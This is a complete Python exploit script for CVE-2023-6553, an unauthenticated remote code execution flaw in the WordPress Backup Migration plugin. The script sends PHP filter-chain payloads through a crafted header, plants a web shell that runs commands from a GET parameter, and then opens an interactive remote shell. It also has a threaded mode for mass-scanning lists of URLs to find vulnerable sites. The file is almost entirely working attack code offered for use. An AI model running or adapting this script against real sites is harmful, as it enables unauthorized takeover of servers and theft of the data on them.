exploit.py

import re
import random
import string
import argparse
import requests

from rich.console import Console
from rich.progress import Progress
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from php_filter_chain import PHPFilterChainGenerator
from concurrent.futures import ThreadPoolExecutor, as_completed
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


class CVE_2023_6553:
    """
    A class to exploit the CVE-2023-6553 vulnerability.

    Attributes:
        base_url (str): Base URL of the target website.
        random_file_name (str): Randomly generated file name used for exploitation.
    """

    def __init__(self, base_url):
        """
        Initializes the CVE_2023_6553 instance.

        Args:
            base_url (str): The base URL of the target website.
            file_name (str, optional): Specific file name to use. If not provided, a random name is generated.
        """

        self.console = Console()
        self.base_url = base_url
        self.temp_file_name = random.choice(string.ascii_letters)
        self.random_file_name = (
            "".join(random.choices(string.ascii_letters + string.digits, k=3)) + ".php"
        )

    def generate_php_filter_payload(self, command):
        """
        Generates a PHP filter payload for the given command.

        Args:
            command (str): The command to be executed on the target system.

        Returns:
            str: The generated PHP filter payload.
        """

        generator = PHPFilterChainGenerator()
        return generator.generate_filter_chain(command)

    def send_payload(self, payload):
        """
        Sends a payload to the target URL.

        Args:
            payload (str): The payload to be sent.

        Returns:
            bool: True if the payload was successfully sent and the page is empty, False otherwise.
        """

        headers = {"Content-Dir": payload}

        try:
            response = requests.post(
                f"{self.base_url}/wp-content/plugins/backup-backup/includes/backup-heart.php",
                headers=headers,
                verify=False,
                timeout=10,
            )

            return response.status_code == 200

        except requests.exceptions.ChunkedEncodingError:
            return True
        except requests.exceptions.RequestException as e:
            return False

    def check_vulnerability(self):
        """
        Verifies if the target system is vulnerable to CVE-2023-6553.
        It attempts to write a randomly generated text to a specified file on the server.
        Then, it checks if the written text can be retrieved correctly.

        Returns:
            bool: True if the system is vulnerable (text written and retrieved matches), False otherwise.
        """

        try:
            random_char = random.choice(string.ascii_letters)

            payload = (
                f"<?php fwrite(fopen('{self.temp_file_name}','w'),'{random_char}');?>"
            )
            self.send_payload(self.generate_php_filter_payload(payload))

            response = requests.get(
                f"{self.base_url}/wp-content/plugins/backup-backup/includes/{self.temp_file_name}",
                verify=False,
                timeout=10,
            )

            if response.text.strip() == random_char:
                self.console.print(
                    f"[bold green]{self.base_url} is vulnerable to CVE-2023-6553[/bold green]"
                )
                return True

        except requests.exceptions.RequestException as e:
            pass

        return False

    def write_string_to_file(self, string_to_write):
        """
        Writes a given string to a file on the server after confirming the system's vulnerability.
        It writes the string character by character, and if any character fails to write, the process stops.

        Args:
            string_to_write (str): The string to be written to the file.

        Returns:
            bool: True if the entire string is written successfully, False otherwise.
        """

        init_command = f"<?php fwrite(fopen('{self.temp_file_name}','w'),'');?>"
        self.send_payload(self.generate_php_filter_payload(init_command))

        with Progress() as progress:
            task = progress.add_task("[green]Writing...", total=len(string_to_write))

            for char in string_to_write:
                hex_char = char.encode("utf-8").hex()
                command = f"<?php fwrite(fopen('{self.temp_file_name}','a'),\"\\x{hex_char}\");?>"

                if not self.send_payload(self.generate_php_filter_payload(command)):
                    print(f"Failed to send payload for character: {char}")
                    return False

                progress.update(task, advance=1)

        final_file_name = f"{self.random_file_name}"
        copy_command = f"<?php copy('{self.temp_file_name}','{final_file_name}');?>"
        self.send_payload(self.generate_php_filter_payload(copy_command))
        delete_command = f"<?php unlink('{self.temp_file_name}');?>"
        self.send_payload(self.generate_php_filter_payload(delete_command))

        return True

    def retrieve_command_output(self, command):
        """
        Retrieves the output of a command executed via the vulnerability.

        Args:
            command (str): The command to execute.

        Returns:
            str: The output of the command.
        """

        payload = {"0": command}
        try:
            response = requests.get(
                f"{self.base_url}/wp-content/plugins/backup-backup/includes/{self.random_file_name}",
                params=payload,
                verify=False,
                timeout=10,
            )
            response_text = response.text
            match = re.search(r"\[S\](.*?)\[E\]", response_text, re.DOTALL)
            if match:
                return match.group(1)
            else:
                return "No output, maybe system functions are disabled..."
        except requests.exceptions.RequestException as e:
            return "Error retrieving command output: " + str(e)


def interactive_shell(cve_exploit):
    """
    Starts an interactive shell for exploiting the vulnerability.

    Args:
        cve_exploit (CVE_2023_6553): An instance of the CVE_2023_6553 class.
    """

    console = Console()
    session = PromptSession(InMemoryHistory())

    while True:
        try:
            cmd = session.prompt(HTML("<ansired><b># </b></ansired>")).strip().lower()
            if cmd == "exit":
                break
            if cmd == "clear":
                console.clear()
                continue

            output = cve_exploit.retrieve_command_output(cmd)
            console.print(f"[bold green]{output}[/bold green]")

        except KeyboardInterrupt:
            console.print(f"[bold yellow][+] Exiting...[/bold yellow]")
            break


def check_single_url(url):
    """
    Check if a single URL is vulnerable to the specified CVE.

    This function creates an instance of the CVE_2023_6553 class for the given URL
    and uses it to check if the target is vulnerable to the CVE-2023-6553 vulnerability.

    Args:
        url (str): The URL to be checked for vulnerability.

    Returns:
        str: A string indicating the URL is vulnerable, appended with a newline character.
        None: If the URL is not vulnerable or if an error occurred.
    """

    cve_exploit = CVE_2023_6553(url)
    if cve_exploit.check_vulnerability():
        return f"{url} is vulnerable to CVE-2023-6553\n"
    else:
        return None


def check_urls_and_write_output(urls, max_workers, output_path):
    """
    Check a list of URLs for vulnerability and write the vulnerable ones to an output file.

    This function uses a ThreadPoolExecutor to check each URL in the provided list
    for vulnerability in parallel. The number of worker threads used is defined by
    the max_workers parameter. If an output_path is provided, the vulnerable URLs
    are written to the file at that path.

    Args:
        urls (list of str): A list of URLs to be checked for vulnerability.
        max_workers (int): The maximum number of worker threads to use.
        output_path (str): The file path where the results should be written. If None,
                           no file is written.

    Returns:
        list of str: A list of strings, each indicating a vulnerable URL.
    """

    with ThreadPoolExecutor(max_workers=max_workers) as executor, alive_bar(
        len(urls), enrich_print=False
    ) as bar:
        futures = [executor.submit(check_single_url, url) for url in urls]

        output_file = open(output_path, "w") if output_path else None

        for future in as_completed(futures):
            result = future.result()
            if result and output_file:
                output_file.write(result)
                output_file.flush()
            bar()

        if output_file:
            output_file.close()


def main():
    parser = argparse.ArgumentParser(
        description="Backup Migration <= 1.3.7 - Unauthenticated Remote Code Execution"
    )

    parser.add_argument("-u", "--url", help="Base URL for single target", default=None)
    parser.add_argument(
        "-f",
        "--file",
        help="File containing list of URLs (checks for vulnerability without deploying a shell)",
        default=None,
    )

    parser.add_argument(
        "-t",
        "--threads",
        help="Number of threads to use (only with -f/--file)",
        type=int,
        default=5,
    )
    parser.add_argument(
        "-o",
        "--output",
        help="Output file to save results (only with -f/--file)",
        default=None,
    )
    parser.add_argument(
        "-c",
        "--check",
        help="Just check for vulnerability, don't exploit (only with -u/--url)",
        action="store_true",
    )

    args = parser.parse_args()

    if args.url:
        cve_exploit = CVE_2023_6553(args.url)
        if cve_exploit.check_vulnerability():
            if not args.check:
                cve_exploit.console.print(
                    "[bold green]Initiating shell deployment. This may take a moment...[/bold green]"
                )
                string_to_write = '<?php echo "[S]";echo `$_GET[0]`;echo "[E]";?>'
                if cve_exploit.write_string_to_file(string_to_write):
                    cve_exploit.console.print(
                        f"[bold green]Shell written successfully.[/bold green]"
                    )
                    interactive_shell(cve_exploit)

                    cve_exploit.console.print(
                        f"[bold yellow][!] Deleting shell...[/bold yellow]"
                    )

                    delete_command = (
                        f"<?php unlink('{cve_exploit.random_file_name}');?>"
                    )
                    cve_exploit.send_payload(
                        cve_exploit.generate_php_filter_payload(delete_command)
                    )
                else:
                    print("Failed to write shell.")
        else:
            cve_exploit.console.print(
                f"[bold red]{args.url} is not vulnerable to CVE-2023-6553[/bold red]"
            )

    elif args.file:
        with open(args.file, "r") as file:
            urls = file.read().splitlines()

        check_urls_and_write_output(
            urls, max_workers=args.threads, output_path=args.output
        )

    else:
        print("No URL or file provided. Exiting.")


if __name__ == "__main__":
    main()